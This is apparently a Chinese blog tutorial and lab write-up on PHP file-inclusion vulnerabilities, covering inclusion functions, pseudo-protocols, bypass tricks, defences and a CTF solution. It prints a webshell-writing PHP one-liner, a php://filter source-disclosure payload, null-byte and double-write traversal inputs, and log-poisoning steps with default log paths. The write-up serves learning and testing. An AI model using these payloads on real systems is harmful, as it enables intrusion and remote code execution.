一、原理
1、概念：在php代码中，总会有一些代码我们会经常用到，这时引入了文件包含函数，可以通过文件包含函数把这些代码文件包含进来，直接使用文件中的代码，这样提高了我们的工作效率。
2、文件包含函数：
include()：如果发生错误，会产生一个警告然后继续执行脚本
include_once()：与include()相同，如果文件之前被包含过则不再包含
require()：会停止执行代码
require_once()：如果文件之前被包含过则不再包含
3、类型：本地文件包含、远程文件包含（url的形式进行）
配置文件参数：allow_url_fopen：为ON时，能读取远程文件，
Allow_url_include：为ON时，就可以使用include和require等方式包含远程文件
4、利用方式——伪协议
# file:// 协议用户访问本地文件系统，使用方法：?file:// [文件的绝对路径和文件名]
# php://input 可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行
# php://filter 元封装器，读取源代码并以base64编码方式输出
# zip://, bzip2://, zlib:// 属于压缩流，可以访问压缩文件中的子文件，使用方法：zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
# data:// 类似于php://input，可以让用户来控制输入流
其他利用方法：（绕过方式）
#00截断：windows在读文件名的时候遇到00就会停止
#长度截断（win：256，linux：4096）
#包含日志文件：传入的参数值如果会保存到日志文件中，我们可以把木马传入到日志文件中，知道日志的路径就可以进行下一步操作
#包含session
5、防御
#php中使用open_basedir配置限制访问在指定的区域
#过滤 . (点) / (反斜杠) \（反斜杠）
#禁止服务器远程文件包含
#尽量不要使用动态包含，可以在需要包含的页面固定写上
二、利用LFI环境复现文件包含漏洞
这是我在github上边下载的，有很多题目要做一些改动才可以实现，所以懂了原理就可以了，用PHP study本地搭建起来就可以复现，
因为我的路径和原本代码的路径不同，所以每复现一个之前都要把文件包含函数里面的路径修改一下，例如：
# LFI-1 简单的文件包含
观察源代码，这是一个简单的文件包含
我现在网站根目录下传入一个phpinfo的文件，
根据源码，框中传入的参数是page，我们可以构造payload，得到根目录下的文件内容
根据实验，不管文件的后缀名是jpg、txt，都会以php代码执行，所以可知文件包含时与传入文件的类型无关
# LFI-2 00截断绕过
观察源码，
这个参数传入之后构成的路径是：includes/文件.php，我们可以用%00把.php截断，然后利用相对路径进行绕过
这个题可能是有很多限制，我把includes删除然后把php版本调到5.2.17然后把gpc设置为off才能实现。
如果我们传入一个一句话，这时就可以用菜刀连接
# LFI-3 点、斜杠绕过
观察源码，源码当中取后四位即后缀名与.php比较，如果相同则输出不被允许查看源码的警告，若不同则读取文件内容。
我们可以在url的末尾加.(点)，因为，在文件命名时，后缀后面加点是会自动去掉的
我们也可以加/. 因为在命名时，/（斜杠）是不允许出现的
# 4 去后缀名绕过
观察源码，
addslashes()函数：是一个过滤函数
参数传入之后构成的url是：includes/class_参数.php
源码本身就是有.php的后悔，我们可以传参数时舍后缀
#5 双写绕过
观察源码，
这段源码过滤了../，我们可以通过双写绕过，即：....//
#6 文件包含写webshell
观察源码，
这个和第一个差不多，就是参数是以post的方式提交的，我们只要用post的方法提交参数，就可以发现文件包含
此时，我们如果传入一个任意文件写入以下代码，执行之后就可以在文件的目录写入一个shell
<?php fputs ( fopen(‘shell.php‘,‘w‘) , ‘<?php eval($_POST[shell])?>‘) ;?>
这段代码的意思就是新建一个shell.php的文件，写入后面的一句话
#7 用post的方式做00截断或舍去后缀 ../../../phpinfo.php%00
#8 post方式做00截断或加./绕过
#9 post方式做舍去后缀名绕过
#10 post方式双写绕过
#11 简单的post方式包含，有一个隐藏的输入框，用隐藏的参数
#12 简单的get方式包含，有一个隐藏的输入框，用隐藏的参数
#13 get方式双写绕过
#14 post方式双写绕过
注：可能是环境的问题，很多题不能实现，只要懂原理就可以
#包含日志文件获取webshell
日志默认路径：
1、apache+Linux日志默认路径：
/ect/httpd/logs/access_log 或者 /var/log/httpd/wccess_log
2、apache+Win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
3、IIS6.0+Win2003默认日志文件
C:\WINDOWS\system32\Logfiles
4、IIs7.0+win2003默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
5、nginx日志文件默认路径
日志文件在用户安装目录logs目录下
例如安装路径伪/user/nginx,
拿我的日志文件目录就是在/user/nginx/logs里
利用方法：我们进行获取的时候首先要知道日志文件的路径， 
既然我们申请访问的url会记录到日志中，我们可以在url中写入一句话然后提交，这时，我们就会在日志文件中写入一句话，
但是一般的浏览器都会编码我们提交的url，
我们可以用burpsuit抓包，在url中写入一句话进行提交，就能写入一句话并解析，这样就可以成功获取shell
三、php伪协议
#1 用php://filter获取flag
这里bugku有一个经典的文件包含+php://filter的题目：flag在index里
在页面上我们可以看到一个按钮链接，点击之后就会跳转到参数file的url
这里由参数file可以猜到用php://filter伪协议来读取flag
我们构造payload：?file=php://filter/read=convert.base64-encode/resource=index.php
这里convert.base64-encode是将源码以base64编码，然后读取出来，我解码之后得到
这里就能发现flag
#2 命令执行获取webshell
如果通过php://input实验发现存在漏洞，可以使用system命令dir查看目录，发现敏感的目录
然后就可以通过<?php fputs ( fopen(‘shell.php‘,‘w‘) , ‘<?php eval($_POST[shell])?>‘) ;?>，写入一句话
#3
我们也可以用压缩协议，data协议进行绕过，也可以利用windows的特性，文件名字大于256时后面的内容就会舍弃，来进行绕过。
php协议很常用很强大，这里只是我的一些浅见。
原文地址：https://www.cnblogs.com/qie-date/p/12253701.html